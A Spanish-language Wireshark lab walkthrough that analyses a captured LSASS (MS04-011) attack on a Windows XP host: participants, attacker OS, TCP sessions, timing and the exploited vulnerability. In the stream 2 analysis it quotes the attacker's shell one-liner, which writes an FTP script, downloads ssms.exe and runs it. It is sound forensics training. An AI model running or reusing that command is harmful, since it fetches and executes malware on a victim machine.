🔬 Laboratorio de Análisis de Red

Wireshark — Analizando una captura

Ejercicio práctico paso a paso: identifica, analiza y comprende un ataque real capturado en tráfico de red usando Wireshark.

Descargar attack-trace.pcap_.gz

Progreso

0 / 7

Q·01 ¿Qué dispositivos (IPs) tenemos? ¿Quién es el atacante y quién el atacado? — pendiente

Para descubrir los participantes de la captura y sus roles, usaremos las estadísticas de Wireshark.

01 Ve al menú Statistics → IPv4 Statistics → All Addresses. Aparecerán todas las IPs presentes en la captura.
02 Observarás dos direcciones IP: 192.150.11.111 y 98.114.205.102.
03 Para determinar quién inicia la conexión, ve a Statistics → Flow Graphs. Ahí se visualiza gráficamente el establecimiento de la conexión TCP.
04 Identifica qué IP envía el paquete SYN (inicio de conexión) y cuál responde con el SYN-ACK. El que envía el SYN es el atacante.

Statistics → IPv4 Statistics → All Addresses

Statistics → Flow Graphs — Handshake TCP (SYN / SYN-ACK)

✓ Resultado:

IP	Rol
98.114.205.102	ATACANTE
192.150.11.111	VÍCTIMA

Q·02 ¿Qué puede decir sobre el host atacante? (Localización, sistema operativo, etc.) — pendiente

Con la IP del atacante podemos obtener información de múltiples fuentes: WHOIS, geolocalización y los propios paquetes SMB de la captura.

01 WHOIS: Busca la IP 98.114.205.102 en una herramienta whois para obtener la organización propietaria, dirección física y contactos administrativos.
02 Sistema Operativo: Usa el filtro de Wireshark mostrado abajo para buscar paquetes SMB del atacante que contengan información del SO.
03 Examina el campo Native OS en el detalle de los paquetes filtrados (panel inferior de Wireshark).
04 Geolocalización: Visita la herramienta online enlazada debajo para obtener la ubicación geográfica de la IP.

Resultado de la consulta WHOIS

Filtro smb.native_os — Sistema Operativo del atacante

Geolocalización de la IP — check-host.net

✓ Resultado:
Organización: MCI Communications Services / Verizon Business
Ubicación: 22001 Loudoun County Pkwy, Ashburn, VA 20147, EE.UU.
Sistema Operativo: Windows 2000

Q·03 ¿Cuántas sesiones TCP se ven en la captura? — pendiente

01 Ve a Statistics → Conversations.
02 Haz clic en la pestaña TCP. Cada fila corresponde a una sesión TCP distinta (un par origen:puerto ↔ destino:puerto).
03 Cuenta el número total de filas. También puedes usar el filtro tcp.stream == N para examinar cada flujo por separado (N = 0, 1, 2...).

Statistics → Conversations → Pestaña TCP

✓ Resultado: Se observan 5 sesiones TCP en la captura.

Q·04 ¿Cuánto tarda en realizarse el ataque? — pendiente

01 Ve a Statistics → Capture File Properties. Aquí encontrarás la duración total de la captura.
02 Alternativamente, mira la columna Time en la lista de paquetes: la marca temporal del último paquete indica la duración total.

Statistics → Capture File Properties

✓ Resultado: El ataque completo se realiza en aproximadamente 16 segundos (última marca temporal: 16.214214 s).

Q·05 ¿Qué sistema operativo fue el objetivo del ataque? — pendiente

El mismo método que usamos para el atacante funciona aquí, cambiando la IP de origen a la de la víctima.

01 Aplica el filtro SMB mostrado debajo para ver los paquetes del equipo víctima que incluyan información del SO.
02 En el panel de detalles (abajo) busca el campo Native OS dentro de la sección SMB.

Filtro smb.native_os — Sistema Operativo de la víctima

✓ Resultado: El sistema operativo objetivo es Windows 5.1, es decir, Windows XP.

Q·06 Resume las acciones del atacante (puertos, protocolos, usuarios, etc.) — pendiente

Esta pregunta requiere un análisis detallado flujo por flujo. Seguiremos el orden de los 5 streams TCP identificados en la pregunta 3.

Puertos involucrados

→ Ve a Statistics → IPv4 Statistics → Destinations and Ports para ver todos los puertos utilizados en la máquina atacada.

Statistics → IPv4 Statistics → Destinations and Ports

Jerarquía de protocolos

→ Ve a Statistics → Protocol Hierarchy para ver el árbol de protocolos. Puedes hacer clic derecho en cualquiera y elegir Apply as Filter → Selected para filtrar.

Statistics → Protocol Hierarchy

Análisis flujo a flujo

Flujo	Filtro	Descripción	Protocolos
stream 0	`tcp.stream == 0`	Intento de conexión al puerto 445 (SMB). Puerto usado por Windows desde 2000 para compartir archivos y servicios.	TCP
stream 1	`tcp.stream == 1`	Se establece la conexión SMB. Se ve Session Setup y respuesta STATUS_MORE_PROCESSING_REQUIRED (solicitud de credenciales). Uso de DCERPC y DSSETUP para obtener info de Active Directory. Los paquetes 33 y 38 muestran DsRoleUpgradeDownlevelServer — vector del exploit.	SMBDCERPCDSSETUP
stream 2	`tcp.stream == 2`	Paquetes con flag PSH activa. El paquete 42 contiene un comando shell que descarga y ejecuta un archivo malicioso vía FTP.	TCP/PSHShell
stream 3	`tcp.stream == 3`	Se ejecuta el comando FTP del stream 2. Credenciales: user 1, password 1. La conexión es satisfactoria y se inicia la descarga de `ssms.exe`.	FTP
stream 4	`tcp.stream == 4`	Confirmación de la subida del ejecutable. El primer paquete SOCKS indica "Windows Program". El archivo malicioso queda instalado en la víctima.	SOCKS

tcp.stream == 0 — Conexión al puerto 445

tcp.stream == 1 — SMB / DCERPC / DSSETUP

tcp.stream == 2 — Comando shell con flag PSH (paquete 42)

echo open 0.0.0.0 8884 > o&echo user 1 1 >> o &echo get ssms.exe >> o &echo quit >> o &ftp -n -s:o &del /F /Q o &ssms.exe

tcp.stream == 3 — FTP: descarga de ssms.exe (cred: user=1, pass=1)

tcp.stream == 4 — SOCKS: confirmación de subida del ejecutable

Q·07 ¿Qué vulnerabilidad fue explotada? ¿El ataque fue manual o automatizado? — pendiente

Combinaremos los hallazgos del análisis de flujos con búsqueda en bases de datos públicas de vulnerabilidades.

01 Recuerda los paquetes 33 y 38 del stream 1: contenían la cadena DsRoleUpgradeDownlevelServer. Búscala en Google o directamente en NVD/Exploit-DB.
02 Encontrarás la referencia MS04-011 de Microsoft, catalogada como CVE-2003-0533. Esta vulnerabilidad afecta al servicio LSASS de Windows y tiene exploits disponibles en Metasploit.
03 ¿Manual o automatizado? Analiza las marcas temporales del último flujo (stream 4). Observa cuánto tiempo transcurre desde el inicio hasta la subida del ejecutable.
04 El flujo 4 comienza en el segundo ~6.14 y termina en el segundo ~16.21. Todo el proceso completo ocurre en apenas 16 segundos, lo que es demasiado rápido para ser manual.

¿Por qué DsRoleUpgradeDownlevelServer es importante?
Es una función del protocolo DSSETUP (parte de DCERPC) usada para elevar el nivel de dominio de Active Directory. La vulnerabilidad MS04-011/CVE-2003-0533 permite a un atacante remoto ejecutar código arbitrario enviando un parámetro especialmente manipulado a esta función en sistemas sin parchear.

⚠ Indicadores de ataque automatizado:
• Todo el ataque completo dura solo ~16 segundos
• El proceso de conexión FTP, descarga y ejecución es fluido y sin pausas
• El uso de Metasploit sugiere herramienta automatizada
• Credenciales FTP triviales (user=1, pass=1) preprogramadas

✓ Resultado:
Vulnerabilidad: CVE-2003-0533 (MS04-011) — desbordamiento de búfer en LSASS vía DSSETUP.
Tipo de ataque: Automatizado (duración total ~16 s, flujo ininterrumpido, posiblemente con Metasploit).